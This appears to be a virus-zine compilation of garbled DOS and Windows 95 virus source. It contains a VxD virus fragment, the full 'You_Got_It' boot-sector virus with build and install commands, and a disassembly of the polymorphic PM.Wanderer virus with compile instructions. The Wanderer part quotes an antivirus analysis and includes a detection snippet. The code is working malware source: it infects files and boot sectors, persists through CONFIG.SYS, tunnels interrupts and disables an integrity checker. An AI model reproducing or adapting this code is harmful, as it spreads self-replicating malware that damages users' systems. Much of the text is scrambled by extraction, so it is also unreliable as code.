mov ah,3Fh mov bx,word ptr [Gollum_Handle] mov ecx,0200h mov edx,OFFSET32 VxD_Buffer VxDint 21h ;Write block xchg ecx,eax mov ah,40h mov bx,word ptr [Victim_Handle] VxDint 21h cmp cx,0200h je Trojanize_Block ;Close trojan file mov ah,3Eh VxDint 21h Bad_OverOpen: ;Close virus VxD file mov bx,word ptr [Gollum_Handle] mov ah,3Eh VxDint 21h Bad_OverWrite: jmp Exit_VxD_Int_21h ;Delete file routines ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Delete_File: mov edi,dword ptr [Start_FileName] Copy_DB_Name: cld lodsb stosb or al,al jnz Copy_DB_Name ;Wipe out file attr mov ax,4301h xor ecx,ecx mov edx,OFFSET32 Infect_FileName VxDint 21h ;Delete filename mov ah,41h VxDint 21h ret ;Move file pointer routines (bx = file handle) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Seek_File_Start: xor al,al jmp SHORT Seek_Int_21h Seek_File_End: mov al,02h Seek_Int_21h: mov ah,42h xor cx,cx xor dx,dx VxDint 21h jc short Seek_Error ;Return file pointer position into eax and eax,0000FFFFh shl edx,10h add eax,edx mov dword ptr [File_Size],eax

clc ret Seek_Error: stc ret EndProc VxD_Int_21h VxD_LOCKED_CODE_ENDS END ; - -[ASSEMBLE.BAT - Batch file used to build GOLLUM.INC] - - - - - - - ->8 tasm gollum tlink /Tde gollum exe2bin gollum.exe gollum.bin crypt data gollum.crp gollum.inc

comment * ; Designed by "Q" the Misanthrope ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; The "You_Got_It" virus needed to be made. Windows 95 has neglected the floppy boot sector virus long enough. Windows 95 in it's 32 bit protected mode has it's own floppy disk routines and doesn't use int 13 or int 40 anymore. When a floppy boot sector viruses infectes the hard disk of the Windows 95 computer, it would flag a change in the MBR or DBR indicating a possible virus attack (not good). The conclusion, don't hook int 13, hook int 21. Problem is, when Windows 95 starts up, it starts in DOS mode then changes to it's protected mode DOS so int 21 hooked in DOS mode isn't hooked anymore. Many of the multipatrite virii will not infect once Windows 95 starts. If your boot sector virus can infect a program called in your AUTOEXEC.BAT or your CONFIG.SYS then the virus would go resident. The "You_Got_it" virus does this. It creates a randomly named file and adds INSTALLH=\AKYTHSQW (name is random) to the CONFIG.SYS file. Now when Windows 95's int 21 is called to change the default drive to A: then the infection occures. Cool features: during boot up the virus moves into video memory then into the High Memory Area (HMA) when dos loads high. The virus tunnels int 21 and loads in the HMA with dos. Also the boot sector infection will not attack the CONFIG.SYS multiple times.

; P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector ; detector or CMOS virus protection.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; *

tasm yougotit /m2 tlink yougotit exe2bin yougotit.exe yougotit.com format a:/q/u debug yougotit.com l 300 0 0 1 w 100 0 0 1 w 300 0 20 1 m 13e,2ff 100 rcx 1c2 w q copy yougotit.com c:\ edit c:\config.sys device=\yougotit.com altf x y

.286 qseg segment byte public 'CODE' assume cs:qseg,es:qseg,ss:nothing,ds:qseg jmp short jmp_install 90h 'MSDOS5.0' 512 1 1 2 224 2880 ;boot sector data

top: db db dw db dw db dw dw

db dw dw dw

0F0h 9 18 2 org 003eh near short go_mem_res

com_install com_install jmp_install id

proc jmp endp proc push equ mov lea push

near cs $+01h si,7c00h bx,word ptr ds:[si] bx

;floppy boot up ;for the retf to 0000:7c00 ;7c00 is the infection marker ;bx=7c00 ;for the retf to 0000:7c00

cld push

je

monochrome:

pop pop

cs mov es,bx ;if monochrome copy code to pop ds ;7c00:7c00 cmp word ptr ds:[0449h],07h ;check if monochrome monochrome push 0b700h ;lets reside in video memory pop es ;no need for that TOM cmp word ptr es:[si+id-top],si push es ;check if already mem resident mov di,si ;di=7c00 mov cx,offset previous_hook ;copy loop varable push cx ;save it because we will copy push si ;the code twice to b700:7c00 rep movsb ;and b700:7dfe si cx call return_far ;goto b700 segment of code rep movsb ;continue copy to b700:7dfe mov si,1ah*04h ;only hook int 1a je already_res ;if already resident don't movsw ;hook again mov mov push es mov endp proc mov mov shr shl add cx mov sub int retf endp db db db word ptr ds:[si-04h],offset interrupt_1a+7e00h-02h word ptr ds:[si-02h],cs ;hook int 1a ds ;read moved floppy boot sector ax,0201h

movsw

already_res: pop jmp_install set_cx_dx

near bp,word ptr ds:[bx+11h] ;code to point to last sector cx,word ptr ds:[bx+16h] ;of the root directory of any bp,04h ;floppy disk cx,01h cx,bp dh,01h cx,word ptr ds:[bx+18h] 13h ;read or write boot sector ;return to 7c00:0000 or ;resident_21 routine "C:\CONFIG.SYS",00 "INSTALL=" "\" ;file to infect ;what to add ;random file name goes here

inc

return_far: set_cx_dx config_line install_name file_name

crlf go_mem_res

db equ proc mov int mov mov push int pop push pop pushf lea push push int db dw endp

00h $+07h near ;CONFIG.SYS residency ax,3501h ;get int 1 address for tunnel 21h dx,offset interrupt_1-com_install+100h ah,25h ;set int 1 for tunnel es 21h ds ;ds:dx will be to set it back 00h ;es=0000h es ;simulate interrupt stack dx,word ptr ds:[bx] cs es ;return to cs:0000 is cd 20 01h ;set trap flag 26h ;es: override in to int table 02effh,21h*04h ;jmp far ptr es:[0084]

go_mem_res interrupt_1 push push

je

toggle_tf: go_back: popa interrupt_1 interrupt_21

proc near ;set trap flag, trace int 21 pusha ;save varables sp pop bp ;get pointer ds push es lds si,dword ptr ss:[bp+10h];get next instruction address cmp word ptr ds:[si+01h],02effh jne go_back ;check if jmp far ?s:[????] cmp word ptr ds:[si-02h],001cdh org $-02h ;see if called from my int 01 int 01h toggle_tf mov si,word ptr ds:[si+03h] ;get address segment of jmp cmp byte ptr ds:[si+03h],0f0h jb go_back ;see if in HMA area mov bx,((tail-com_install+10h)SHR 4)*10h mov di,0ffffh ;allocate HMA area for virus mov ax,4a02h int 2fh inc di ;is HMA full jz toggle_tf ;if so then just don't bother push si ;move the virus to the HMA cld mov cx,previous_hook-com_install mov si,0100h ;copy virus to HMA rep movs byte ptr es:[di],cs:[si] pop si ;now hook the int 21 chain movsw movsw lea di,word ptr ds:[di-(offset vbuffer-resident_21)] mov word ptr ds:[si-04h],di ;point to resident 21 code mov word ptr ds:[si-02h],es xor byte ptr ss:[bp+15h],01h;toggle the trap flag pop es pop ds iret endp proc near ;hooked in after int 1a sees

pushf pusha push push pop ds push cs ds xor jz mov mov int mov xchg jc int or jz pusha mov mov mov int mov mov xchg mov int mov int popa inc pusha mov push pop int mov mov mov mov int popa shr int mov int lds jmp jmp endp proc pushf mov ds es int inc jnz mov

;that dos loaded during boot

es

ah,4bh ;unload if a program starts set_21_back ax,3d42h ;open c:\config.sys dx,offset config_line+7e00h-02h 18h ;really it is int 21 bx,5700h ;get date ax,bx retry_later ;unable to open c:\config.sys 18h cl,cl ;is c:\config.sys infected close_it ;save file date ah,5ah ;create random file cx,0005h dx,offset file_name+7e00h-02h 18h dx,offset com_install+7c00h bh,40h ;write virus code into file ax,bx ch,02h 18h ah,3eh ;close it 18h ;date and handle c:\config.sys ax ;set date ;save it for later ax,4202h ;go to end of c:\config.sys dx cx 18h ah,40h ;write INSTALL=\ line word ptr ds:[crlf+7e00h-02h],0a0dh cl,low(crlf-install_name+02h) dx,offset install_name+7e00h-02h 18h ;be sure to cr lf terminate it ;get file date cl,cl ;blitz seconds and more 18h ah,3eh ;close c:\config.sys 18h dx,dword ptr ds:[previous_hook+7c00h] short set_int_21 ;unhook it 21 short jmp_pop_it

cwd

close_it: set_21_back: retry_later: interrupt_21 interrupt_1a pusha

near

;hooked at boot and waits for ;dos to load ;dos loaded

ax,1200h

push push cwd

2fh al jmp_pop_it ds,dx

;and unhook int 1a ;if loaded then hook int 21

les

mov si,21h*04h ;sorry for all the complexity mov di,offset previous_hook+7c00h les bx,dword ptr cs:[previous_hook+7e00h-02h] mov ds:[si-((21h-1ah)*04h)+02h],es mov ds:[si-((21h-1ah)*04h)],bx bx,dword ptr ds:[si] mov ds:[si-((21h-18h)*04h)+02h],es push cs ;also save int 21 into int 18 mov es ds:[si-((21h-18h)*04h)],bx

cld pop movsw movsw

set_int_21: jmp_pop_it: interrupt_1a

mov push pop mov int jmp endp org

dx,offset interrupt_21+7c00h cs ;set int 21 ds ax,2521h 18h short pop_it

001b4h

resident_21

next_line:

call cld

proc near ;memory resident int 21 pushf ;called when loaded from pusha ;config.sys push ds push es cmp ah,0eh ;is it set drive jne pop_it or dl,dl ;drive A: jnz pop_it cwd ;set varables to read sector call next_line pop bx add bx,offset vbuffer-next_line push cs mov cx,0001h pop es push cs mov ax,0201h ;try reading the boot sector pop ds int 13h jc pop_it ;if not don't infect cmp byte ptr ds:[bx+id-top+01h],7ch je pop_it ;check if infected mov ax,0301h ;move and write boot sector pusha ;save for later push cs ;for far retf set_cx_dx mov lea lea rep mov org jmp cx,previous_hook-com_install si,word ptr ds:[bx-offset (vbuffer-com_install)] di,word ptr ds:[bx+com_install-top] movsb word ptr ds:[bx],0000h $-02h $(jmp_install-top) ;place initial jmp at front 13h es ds ;write it

popa pop_it: popa int pop pop

popf resident_21

endp org 001fdh near 0eah double

far_jmp previous_hook: far_jmp boot_signature

proc db label endp dw org label org label ends

;jmp to old int 1a or boot ;up int 21 or resident int 21

0aa55h $+02h byte $+0202h byte

;guess what

vbuffer

;buffer to read boot sector ;the end of the code

tail qseg end

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ PM.Wanderer ³ ³ Disassembled by ³ ³ Tcp/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis is one of the very few DOS viruses which use protected mode in order to perform its functioning and the first to do it in a pretty effective way. It appears encrypted in files by means of a polymorphic engine, whose garbage generator i've kinda liked, based in a table and a decoder of the contents of that table. This makes the engine pretty flexible as it's possible to add entries to the table, being able to make the generated garbage much more confusing, without having to modify anything else. However the most notorious feature in this virus is the way it works under protected mode. I've included below an article written by the AVer (DrWeb) Igor Daniloff for VirusBulletin in which he makes a pretty good description of the functioning of this part of the virus. Anyway there are some errors in the text, so i've commented them with (* *).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Protected Mode Supervisor? Igor Daniloff DialogueScience Since their introductions, PCx have become increasingly complex through advances in both hardware and software. Computer viruses are also becoming more complex and intricate as their authors try to adapt them to changes in the computer environment. Now there are viruses that infect PC boot sectors of disks, DOS, Windows, Windows'95, OS/2, and Linux program files, as well as documents created in Word and Excel. Virus authors have devised stealth tecniques to help avoid detection, and anti-debugging and anti-virus mechanismes to make initial detection, then analysis more difficult. They have incorporated polymorphism in boot sectors, files, and memory to make detection more laborious and time-consuming for anti-virus designers. Since the release of i386 processors, viruses have begun to use 32-bit instructions in their codes. Some polymorphic viruses employ 32-bit operands in their decryptors. Unfortunately, viruses aim to survive and gain the upper hand under the existing conditions, using all conceivable software and hardware techniques. With the emergence of 286, and later 32-bit i386 processors, came protected (or virtual) operation mode. Thus far, virus authors have not successfully harnessed protected mode. Some have tried to master it, but their attempts have been unsuccessful because of changes with important operating system components. In 1994, the boot virus PMBS was the first to tackle protected mode, but could not cope with other applications or drivers (EMM386, Windows, OS/2) also using that mode. In the same year, viruses Evolution.2761 and Evolution.2770 succeeded in tapping part of the power of the protected mode, but only when the processor was in the real mode. These viruses replaced the actual interrupt vector table with their own interrupt descriptor table (IDT), which they loaded with IDT register. How did the Evolution viruses could use this technique in everyday life? I doubt there is a PC user who runs i386-Pentium in real mode. Although the i386 processor made its debut long ago, viruses have still failed to master its powerful protected mode. I believe that virus

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

designers have cherished this hope for some time, and that one among them finally appears to have realized it. PM.Wanderer, apparently written in Russia, is a file infector which uses a cruide form of protected mode. It is surprisingly stable, interacting more or less correctly with other programs that utilize this mode. The name is derived from the string 'WANDERER,(c)P.Demenuk'. A resident memory and documented supervisor polymorphic virus PM.Wanderer installs its resident part in the toggles the processor to the protected mode, by utilizing the virtual control program interface (VCPI) of the extended memory (EMS, EMM386).

Installation ÄÄÄÄÄÄÄÄÄÄÄÄ On starting an infected program, the virus polymorphic decryptor decodes the main virus body and passes control to it. The virus code determines a location in the upper addresses of DOS memory, writes itself to this memory, and hands over control to the copy higher in memory. Then it restores the code of the infected file in the program segment (for EXE files, it also configures the addresses of relocated elements) and begins to install resident component. First, the virus checks whether there is an extended memory manager (EMS) in the system. It does this by retrieving the address of Int 67h (Extended Memory) though Int 21h function AX=3567h (Get Interrupt Vector), and checking whether the characters 'EM' exist in EMS header. Then the virus verifies whether its resident part is already installed by calling function AX=BABAh of Int 21h and locking for the answer AX=FA00h. If there is no active EMM in the system, or the resident part of the virus is already installed (and in subsequent operation, if there is no VCPI or an error occurs installing the resident copy), the virus frees the memory reserved for installing the resident copy and passes control to the host program. This completes the life cycle of the virus in a system. However, if environmental conditions are favourable, the virus intercepts Int 01h and traces Int 21h looking, for the word 9090h (two NOPs) in the original Int 21h handler code of MS DOS version 5.00-7.00. If this string is detected, the virus retrieves from a specific handler address the address of Int 21 handler kernel, which is usually located in the high memory area, and writes this address to its body. This address is subsequently used by the virus for calling the Int 21h handler kernel for infecting files. Then the virus verifies the presence of VCPI and reserves the physical addresses of four memory pages. IT next retrieves the address of VCPI, page table, and the addresses of GDT (Global Descriptor Table. This consists of three elements: the first is the code segment descriptor, and the other two are used by the VCPI driver). The virus writes a reference to the pages allotted by the VCPI driver to the page table, and retrieves the physical address of the memory page of the segment in which the virus is currently located. It also gets GDT and IDT registers. Next, the virus creates three (code and data) descriptors and a descriptor for the task state segment (TSS) in GDT. Finally, it prepares the values for the registers CR3, GDTR, IDTR, LDTR (Local Descriptor Table Register), TR (Task Register), and the address CS:EIP of the protected mode entry point. Using the VCPI tools, the virus toggles the processor to protected mode with the highest privilege level, known as the supervisor.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

In the protected mode, the virus corrects IDT (* corrects GDT *) by creating two segment descriptors, then searches for the TSS descriptor (* searches for page table *). Next the virus defines two breakpoints: one at the first byte of the code of the current INT 21h handler (0000:0084h) and the other at the first byte of the code in BIOS at 0FE00:005Bh (linear address 0FE05Bh). The BIOS location usually holds the 'near jump to reboot'. The virus then corrects IDT to set debug exceptions at Int 01h and Int 09h. It also defines two handler descriptors: trap gate and interrupt gate. After these preliminaries, the virus writes its code to the memory page and switches the processor back to the virtual mode in order to free the DOS memory in upper addresses and to return the control to the infected program. From this instant, the infected program begins its "normal" work, but Int 01h and Int 09h have been redefined by the virus as trap gate and interrupt gate in protected mode, respectively.

Keyboard Handler ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ On receiving control, the virus-defined Int 09h handler verifies whether the two virus-defined breakpoints exist, and restores them if either has been zeroed. Using the register DR7, the virus checks whether the two breakpoints (0 and 1) are defined, without verifying their linear addresses. If either of the breakpoints is missing, the virus calls the procedure that instantly restores them to their initial status. The virus-defined Int 09h handler also keeps a close watch on the pressing of Ctrl-Alt-Del and `resets' all breakpoints when this key combination is used. Debug Exceptions Handler The virus-defined debug exceptions handler verifies whether either of the virus breakpoints has been reached by checking the command address. If control passed to this handler from the 'near jump to reboot' in BIOS, the virus resets all breakpoints just as the virus-defined keyboard handler does when the key combination Ctrl-Alt-Del is pressed. If the exception was caused by the breakpoint of the original DOS Int 21h handler, the virus analyzes the AX register to determine the function of Int 21h, and behaves accordingly. Prior to analyzing this, the virus sets the resume flag (RF=1) in the stack's EFLAGS register that is intended to return control to the breakpoint. This flag is set should a debug exception take place while returning control to the breakpoint. If Int 21h is called with AX=0BABAh, the virus the virus recognizes this as its 'Are you there?' call. If PM.Wanderer is installed it writes writes the value 0FACCh in the AX register and returns control to the original DOS Int 21h handler. On exiting from the DOS handler, the AL register is set to zero. The register value AX=0FA00h informs the non-resident virus that a copy is already active. If Int 21h is called with either AX=4B00h (start program) or AH=3Dh and the lower 4 bits of AL set to zero (open file for reading), the virus decides to infect. The virus writes its code to 9000:0000h (linear address 90000h), prepares a stack, and toggles the processor to 8086 virtual mode with IRETD command at third and last privilege level.

File Infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In virtual mode, the virus code verifies the last two characters (OM or XE) of the filename extension, creates a polymorphic copy, and infects files longer than 4095 bytes. PM.Wanderer does not infect a files if seconds field of file's time-stamp is 34, assuming that the file is already

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

infected, assuming the file is already infected, nor does the virus alter file attributes. Therefore read only files are not infected. Further, the virus does not infect a particular program with seven-character filename. I could not find the name of this file: the virus defines it implicitly by computing the CRC of itss name. The virus does not take over Int 24h (Critical Error Handler), so when critical errors (for example, writing to write-protected disks) occur during infection, the standard DOS query - Retry, Ignore, Fail, Abort? - is displayed. The virus infects a file by calling the DOS Int 21h handler directly, using the address obtained from tracing Int 21h at installation. The virus code is prepended to the header of COM files and inserted into the middle of EXE files, immediately below the header. Prior to this, the relocations field in the header is zeroed by moving the original program code to the file end. The `real working code' of the virus is 3684 bytes long, but the size of infected files increases by more than 3940 bytes. (* exactly between 3940 and 4036 bytes: 3684 + decryptor (256 to 352) *)

Exit from the V-mode of DOS-machine ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus uses a smart technique to exit the V-mode and to transfer control to the breakpoint of the DOS Int 21h handler that called the debug exceptions, so that DOS functions normally. Were the virus to infect a file while in P-mode, everything would be simple - it would be sufficient to execute the IRETD command. Since the virus has toggled to the V-mode with privilege level three, it is possible for the debug exceptions handler to switch back to P-mode. Therefore, the virus plays an elegant trick to surmount the situation. If an error occurs during infection or while exiting from the virtual mode, the virus calls Int 21h with AX=4B00h. When Int 21h is called with AX=4B00h, control jumps to the first command of the DOS Int 21h handler. This command contains a virus-defined breakpoint. Control must now be transferred to the debug exceptions handler in P-mode. However, the V-mode monitor discovers the need to process the next debug exception. The point is that the virus debug exceptions handler has not returned the control to the breakpoint and is still busy processing the current debut exception. Therefore, the V-mode monitor terminates the Int 21h call, aborts processing the current debug exception, and returns control to the breakpoint with the values stored in the registers of the previous Int 21h call.

Payload ÄÄÄÄÄÄÄ If the debug exceptions handler is passed AX=3506h (such a call for getting the INT 06 address usually exists in all programs compiled from high-level languages, such as C, Pascal), PM.Wanderer scans the linear address space 0-90000h looking for a string that obviously belongs to the Russian integrity checker ADinf. If this string is found, the virus modifies it in order to disable the alerts ADinf usually raises on detecting changes to files and disks. Search for the Virus in Memory: It is clear from the above that conventional memory scanning methods are incapable of detecting the resident copy of the virus at level zero privilege in the protected mode. The resident copy can be detected only after toggling to the highest privilege level of protected mode with the help of GDT or IDT. However, this virus can be trapped by other conventional methods. Here, the linear addresses of the first two breakpoints (0 and 1) must be determined and compared with the values described above. The possible presence of PM.Wanderer in the memory can be decided from theese addresses. It is imperative that such operations be

; carried out only in a DOS session. In assembler language, this can be done ; as follows: ; ; ; .8086 ; MOV AX,0BABAH ;simulate that the virus is checking its ; INT 21H ;presence in the memory ; CMP AX,0FA00H ;did the resident copy respond? ; JNE ExitCheckMemory ; .386P ; MOV EAX,DR7 ;read register DR7 ; AND EAX,20AH ; CMP EAX,20AH ;are 2 breakpoints defined? ; JNE ExitCheckMemory ; MOV EAX,DR1 ;read linear address of breakpoint 1 ; CMP EAX,0FE05BH ;is it set at 0FE00:005BH in BIOS? ; JNE ExitCheckMemory ; .8086 ; MOV AH,9 ; MOV DX,OFFSET VirusIsFound ; INT 21H ;alert about the possible presence of ; CLI ;virus in the memory ; JMP $+0 ;"hang up" system ;ExitCheckMemory: ; INT 20H ;terminate operation ; ; ; Test ; ÄÄÄÄ ; After infecting several thousand files, the virus behaves like a 'lodger' ; with all infected files remaining operative. A file becomes inoperative ; only if, after infection, its stack are located within the virus code. ; While infecting EXE files, PM.Wanderer does not modify the start SS:SP ; values in the EXE header. As already mentioned, the virus is capable of ; reproduction only if EMS (EMM386) is installed in the system. If EMM386 is ; installed with the /NOEMS option, when the virus toggles processor to ; protected mode, the system will reboot. The computer may also reboot if ; QEMM386 is installed. ; ; The virus loses its reproduciability under Windows 3.1x and Windows 95. ; These operating systems cut off an already resident PM.Wanderer, because ; while loading they install their own handlers in IDT and zero all ; breakpoints. Prior to terminating a session and returning to DOS, Windows ; restores the previous status of the interrupt descriptor table. On pressing ; a key in DOS environment, the virus gets control, installs its own ; breakpoints, and continues its activities. Due to the absence of VCPI in a ; DOS session within Windows, the virus cannot return to the protected mode ; there. For the same reason, the virus is also inoperative under OS/2. ; ; ; Conclusion ; ÄÄÄÄÄÄÄÄÄÄ ; PM.Wanderer is the first virus to utilize i386 the protected mode and not ; conflict with the domimamt Microsoft operating systems, which also use that ; mode. It is possibly that future viruses may completely overwrite the ; supervisor with their own code supporting the DPMI, EMS/VCPI, XMS, and Int ; 15h extended memory interfaces. Who knows? ; ; ; PM.Wanderer ; Aliases: None known ; Type: Memory resident in P-mode, polymorphic ; Infection: COM and EXE files

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Self-recognition in Memory: Self-recognition in Files: Hex Pattern in Files: Hex Pattern in Memory: Intercepts: Payload: Removal:

See description Bit 1 and bit 4 in seconds field of file's time-stamp set The virus is polymorphic, and there is no useful hex pattern. Virus works in P-mode, see description In IDT: Int 09h for enabling breakpoints, Int 1 for infection Patch the integrity checker ADinf in memory. Under clean system conditions, identify and replace infected files

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Other data ÄÄÄÄÄÄÄÄÄÄ Virus : Size : Author : Origin : Disasm by :

PM.Wanderer 3684 (code) + 256-352 (decryptor) = 3940-4036 bytes P. Demenuk Russia Tcp/29A

Greetings ÄÄÄÄÄÄÄÄÄ They go this time to l- (i got it) ;), and to Vecna/29A, as he was working in the same project at the same time, without any of we both having realised about that fact :) I noticed it also happened the same to him with the Dementia disassembly... that's bad luck, man! :) Send any question or comment to tcp@cryogen.com.

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm /m wanderer.asm (ignore warnings, if any) tlink /t /3 wanderer (ignore fixup overflow errors)

wanderer

.386p segment assume org

; Of course, 386 protected mode byte public 'CODE' use16 cs:wanderer, ds:data0, es:data0, ss:data0 100h

; Selectors : CODE_SEL DATACS_SEL ALLMEM_SEL TSS_SEL VCPICS_SEL VIRUS_SIZE STACK_SIZE start: call get_delta: pop

= = = = = = =

8 10h 18h 28h 30h

; ; ; ; ;

CS Selector CS Alias Selector 4GB Memory Selector TSS Selector VCPI CS Selector

virus_end - start 44h

get_delta si sub mov

si,3 ; Get delta offset di,offset(start)

cld mov push mov mov

ax,cs ds ds,ax es,ax push mov mov mov mov bx db

offset(mem_mcb) bx,offset(copy_code) word ptr [bx],0A4F2h word ptr [bx+2],0C361h cx,VIRUS_SIZE

; Encode 'repnz movsb' ; Encode 'popa ; ret'

pusha jmp

0Ah,'WANDERER,(c) P. Demenuk',0Ah

mem_mcb: pop dec ax ax mov mov mov ax mov jmp

es,ax bx,es:[3] ds:size_mcb,bx es,ax alloc_mem

; ES:=MCB ; Get number of paragraphs in this MCB

inc

; ES:=PSP

free_mem: mov sub ah,4Ah int bx,ds:size_mcb bx,600h 21h ; 600h*16 = 24576 bytes

mov

; Adjust memory block size ; ES = segment addr of block to change ; BX = new size in paragraphs bx,500h 21h free_mem ; 500h*16 = 20480 bytes ; Allocate memory ; BX = 16-byte paragraphs desired ; Error? then jmp

alloc_mem: mov mov ah,48h int jc es,ax di,di si,si mov mov rep cs ax push retf

mov xor xor

cx,2048 ds:codesegment,cs movsw ; Copy 4K to allocated memory

push push

offset(new_mem_pos) ; Jump to new copy

new_mem_pos: push pop

mov int mov xor mov mov

cs ds cmp ds:host_type,0 ; jz check_resident ; ah,62h 21h ; Get PSP es,bx mov es,es:[2Ch] ; di,di cx,8000h al,1 repne scasb ; inc di ;

COM file? Yes? then jmp address ES:=environment

Search for '1h' (file path) Current file path

push pop mov mov int xchg pop mov

mov

int push push pop mov xor

shl mov mov int pop

es ds ax,3D00h dx,di 21h ; Open file (read) ax,bx ; BX := handle ds ax,4200h mov dx,cs:filesize_l mov cx,cs:filesize_h int 21h ; Lseek end of original file ah,3Fh mov cx,cs:size_in_file xor dx,dx 21h ; Read from file ds cs ds ax,4200h mov dx,ds:ofs_relocitems cx,cx int 21h ; Lseek start of relocation table mov cx,ds:reloc_items shl cx,1 ; x2 (number of bytes in reloc. table) cx,1 mov dx,offset(buffer1) ah,3Fh int 21h ; Read relocation table ah,3Eh 21h ; Close file mov si,offset(buffer1) ax mov cx,ds:reloc_items jcxz no_reloc_items ; Any relocation item? No? then jmp add [si+2],ax di,[si] es:[di],ax si,4 loop l_reloc ; Relocate item in memory

l_reloc: les add add no_reloc_items: mov psp_seg,ax check_resident: mov ax,3567h int 21h ; Get int 67h vector cmp word ptr es:[0Ah],'ME' ; EMM386 loaded? push cs pop es jne exec_host ; No? then jmp mov ax,0BABAh ; Residency check int 21h cmp ax,0FA00h ; Already resident? jne go_resident ; No? then jmp free_virmem: sti exec_host: mov ah,49h int 21h ; Free memory cmp ds:host_type,0 ; COM file? jz exec_com ; Yes? then jmp mov ax,psp_seg add ax,ds:file_reloCS push ax ; CS

sub mov mov

push mov ax,10h es,ax ds,ax jmp

ds:file_exeIP ax,psp_seg

; IP

restore_mcb

exec_com: mov push pusha mov and jz mov add cld mov mov es push mov ah,4Ah mov int retf es,ds:codesegment ds,ds:codesegment offset(copy_code) cx,ds:size_in_file si,ds:filesize_l si,si ; Is the virus dropper? exit_program ; Yes? then jmp di,100h si,di ; End of original file sp,0FFFEh 100h ; Set stack pointer ; IP

push

restore_mcb: mov

bx,cs:size_mcb 21h ; Restore MCB size ; Restore original code and return to host

exit_program: mov

ax,4C00h int 21h

; Exit program

go_resident: call mov call encrypt_infection_routine ; Decrypt tunnel_i21 ax,0DE00h ; VCPI installation check call VCPI ; Doesn't return if not installed mov saved_sp,sp mov saved_ss,ss mov di,offset(pages_4K) mov cx,4 ; Allocate 4 pages (4K per page) ax,0DE04h call VCPI [di],edx ; VCPI - Allocate a 4K page ; EDX = physical address of page ; == add di,4

l_alloc_page: mov mov scasd loop mov xor inc

xor xor

mov

l_alloc_page bx,cs add bx,100h ; Align data area on page bl,bl bh mov es,bx ; Base address of directory page mov ds:addr_dir_page,bx ax,ax di,di mov cx,(4096+4096)/2 ; 2 pages rep stosw ; Clear directory page area (4K) ; and page table (4K) ax,0DE01h ; VCPI - Get Protected Mode Interface ; ES:DI -> 4K page table buffer ; DS:SI -> three descriptor table ; entries in GDT. First ; becomes code segment

; ; mov inc mov di,di mov call cs ds mov si,si mov xor mov cmp jnz movzx shl mov mov next_page_entry: inc add bx loop mov esi,eax mov shr mov mov call sidt sgdt mov es ds cx,cs ecx,cx shl mov mov mov si,4 ds,bx bh es,bx

descriptor, other two for use by main control prog. ; DS := segment of dir page table ; add 100h ; ES := segment of page table ; GDT in page table + 100h

xor

si,100h+VCPICS_SEL VCPI

push pop xor

ds:pm_ep,ebx cx,400h bx,bx

; EBX = protected mode EP in code seg. 4GB, all addressable memory BX in [0..3FFh] Map the memory in the page table Read page table entry Invalid (available) entry? No? then jmp Page entry Page frame address Dirty, Accessed, User, Write, Present Store page in page table

l_entry:

; ; ; eax,es:[si] ; eax,0 ; next_page_entry ; eax,bx ; eax,0Ch ; al,67h ; es:[si],eax ;

; Next entry

l_entry eax,ds:page_1

; Map page_1 in page table Dirty, Accessed, User, Write, Present Calculate page number in page table Store page in page table

mov

al,67h ; esi,0Ah ; es:[esi],eax ; ds:virus_cs,cs setup_system_regs qword ptr ds:IDT qword ptr ds:GDT esi,100h ;

GDT (addr.dir.page table + 100h)

push pop mov movzx

ecx,4 ax,CODE_SEL ebx,0FFFFh dx,0000000010011010b

; Segment Base (CS) ; Segment Limit (64K) ; Access rights: Executable ; code, readable, present, ; DPL 0

push push

ecx ebx call mov pop pop mov call mov ecx,ecx mov mov call mov mov

build_descriptor ax,DATACS_SEL ebx ecx dx,0000000010010010b build_descriptor ax,ALLMEM_SEL ebx,0FFFFFFFFh dx,1000000010010010b build_descriptor ax,TSS_SEL cx,ds

; Limit (64K) ; Access rights: Data, writable, ; present, DPL 0

xor

; Limit (4GB: granularity on) ; Access rights: Data, writeble, ; present, granularity, DPL 0

movzx push

ecx,cx shl ecx add mov mov call pop add cs ds mov

